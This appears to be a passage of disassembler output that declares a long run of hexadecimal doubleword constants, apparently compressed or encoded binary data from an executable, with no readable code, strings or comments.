		dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
		dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
		dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h,	770A120h
		dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
		dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
		dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h,	0D2F75BD3h
		dd 25D100E4h, 57AD089h,	0B928C8ECh, 4B00C4B7h, 72D54442h
		dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
		dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h,	5C60B55Fh
		dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h,	0A126758h
		dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h,	0F35D5AF9h
		dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h,	0D7FCD200h
		dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
		dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
		dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
		dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
		dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h,	20B8F2h
		dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
		dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
		dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h,	0BAF7E07Eh
		dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
		dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
		dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
		dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
		dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh,	0AD7BE093h
		dd 6972000h, 1A2643C6h,	4EB0001h, 7893DD0Dh, 540022CCh
		dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
		dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
		dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h,	0D5C5876Bh
		dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
		dd 1EBB92D4h, 6328100h,	8E004E4h, 0D81F00DCh, 0A8F355D3h
		dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh,	4F1A180h
		dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
		dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
		dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h,	0F64A05BCh
		dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
		dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
		dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h,	0EBE0176h
		dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
		dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
		dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
		dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
		dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
		dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h,	5C38591Eh
		dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
		dd 3EC510Bh, 454500B5h,	1E05BAD4h, 5077D2Eh, 0FEAA81C4h
		dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
		dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h,	8D2B60FBh
		dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
		dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
		dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
		dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
		dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
		dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
		dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
		dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
		dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h,	29EC4B35h
		dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh,	7F319177h
		dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
		dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h,	0A94210h
		dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
		dd 0E01A57FCh, 293865h,	0D8DB3BA7h, 345D36E3h, 6C12A5EEh
		dd 0BBF49Bh, 6A0FE00Eh,	0EBEC9D01h, 1A0A9900h, 0ABC48688h
		dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
		dd 0EAD7C0h, 994AD02Dh,	0A436A010h, 763E8800h, 7D540AFDh
		dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
		dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
		dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
		dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
		dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
		dd 669CDC88h, 7CCF842h,	6C4617B6h, 0A034B021h, 64394C9Eh
		dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
		dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
		dd 13AEDCCh, 54203D61h,	0F8430C7Fh, 8FA34B1h, 0C422B900h
		dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
		dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
		dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh,	1EE83724h
		dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
		dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
		dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h,	0BF69D852h
		dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
		dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
		dd 0AD8D79h, 28FCD489h,	9C3A7D72h, 572EEA00h, 86CA3E62h
		dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
		dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
		dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
		dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
		dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
		dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
		dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
		dd 52E22C92h, 0A46DA7h,	0B3446BEFh, 0C308BB43h,	0CA535026h
		dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
		dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
		dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
		dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
		dd 6581E542h
		dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh
		dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h,	278358E0h
		dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h
		dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
		dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h,	0A6000354h
		dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h,	0B8A0D73Ah
		dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
		dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
		dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
		dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
		dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch,	209FBD8Eh
		dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
		dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h,	2147D3BDh
		dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h,	0CB010FFFh
		dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
		dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
		dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
		dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
		dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
		dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
		dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
		dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
		dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
		dd 0A9165Ch, 55FC4492h,	51930Fh, 0CF10B22h, 16F8678Bh
		dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
		dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
		dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
		dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h,	33C0EFA5h
		dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
		dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
		dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
		dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
		dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
		dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
		dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
		dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h,	7507846h
		dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh,	61E9E0E5h
		dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
		dd 5C087D00h, 3F840ADh,	0B93500B4h, 0EF8B0689h,	0A5EE795Dh
		dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h,	0E800244Ch
		dd 592556AFh, 12EB007h,	0C8471F8Ah, 0E44E4034h,	49004423h
		dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
		dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
		dd 421C8028h, 27038C3h,	9678732Eh, 6B1EDD00h, 201018h
		dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
		dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
		dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
		dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
		dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
		dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
		dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
		dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
		dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h,	3A47519h
		dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h,	4022E34h
		dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
		dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
		dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h,	90C0204h
		dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
		dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
		dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
		dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
		dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch,	0A7C43818h
		dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h,	4C70253Ch
		dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h,	51766CF1h
		dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h,	0C64B972h
		dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
		dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh,	6AC24225h
		dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
		dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
		dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh,	0EAFC6101h
		dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
		dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh,	319C0C56h
		dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
		dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
		dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
		dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
		dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
		dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh,	0F67C6F70h
		dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
		dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h,	6411610Ch
		dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
		dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
		dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
		dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h,	6301B811h
		dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h,	17A7877h
		dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh,	0A7AC0022h
		dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
		dd 0C8101101h, 30912009h, 44312200h, 2F388C34h,	69070041h
		dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h,	1D2B90B8h
		dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h,	0ECD444BCh
		dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
		dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
		dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h,	5B78B424h
		dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
		dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
		dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
		dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h,	0A43110BEh
		dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h,	0F849CCC8h
		dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
		dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
		dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
		dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
		dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h,	0C40B99B4h
		dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h,	2001C0ACh
		dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h,	1F401C80h
		dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
		dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
		dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
		dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh,	5C874C3Eh
		dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
		dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh,	20AE0004h
		dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
		dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h,	0C4793310h
		dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
		dd 5C809219h, 9300053h,	3C247214h, 89161260h, 6003992Ch
		dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah,	0D07411BCh
		dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch,	0D4889C12h
		dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
		dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h,	2060A987h
		dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
		dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh,	1B584CACh
		dd 69C6015Ah, 885BC33h,	1134F8h, 0D8A4F904h, 1C94A9DCh
		dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
		dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
		dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h,	6C61A973h
		dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
		dd 995AC00h, 74329CDCh,	258C0261h, 20D84C2Ch, 90A4B740h
		dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch,	5BEAC55h
		dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h,	0FA5EC814h
		dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
		dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
		dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h,	93E7031h
		dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h,	32896A60h
		dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
		dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h,	8196FE86h
		dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
		dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
		dd 41400F4h, 268C1C97h,	27B83411h, 4C00427Eh, 64445822h
		dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
		dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
		dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
		dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
		dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
		dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
		dd 0F8AEFB9Ch, 70154C8h
		dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h
		dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h,	2E3233h
		dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h
		dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
		dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
		dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
		dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
		dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
		dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h,	98212ED5h
		dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch,	87FD7970h
		dd 17AD23Dh, 18740648h,	0CB726269h, 612445F1h, 32E9CCB4h
		dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
		dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
		dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
		dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
		dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h,	0ED08BE64h
		dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
		dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
		dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
		dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h,	7B041857h
		dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h,	227AD153h
		dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
		dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
		dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh,	4DE80A67h
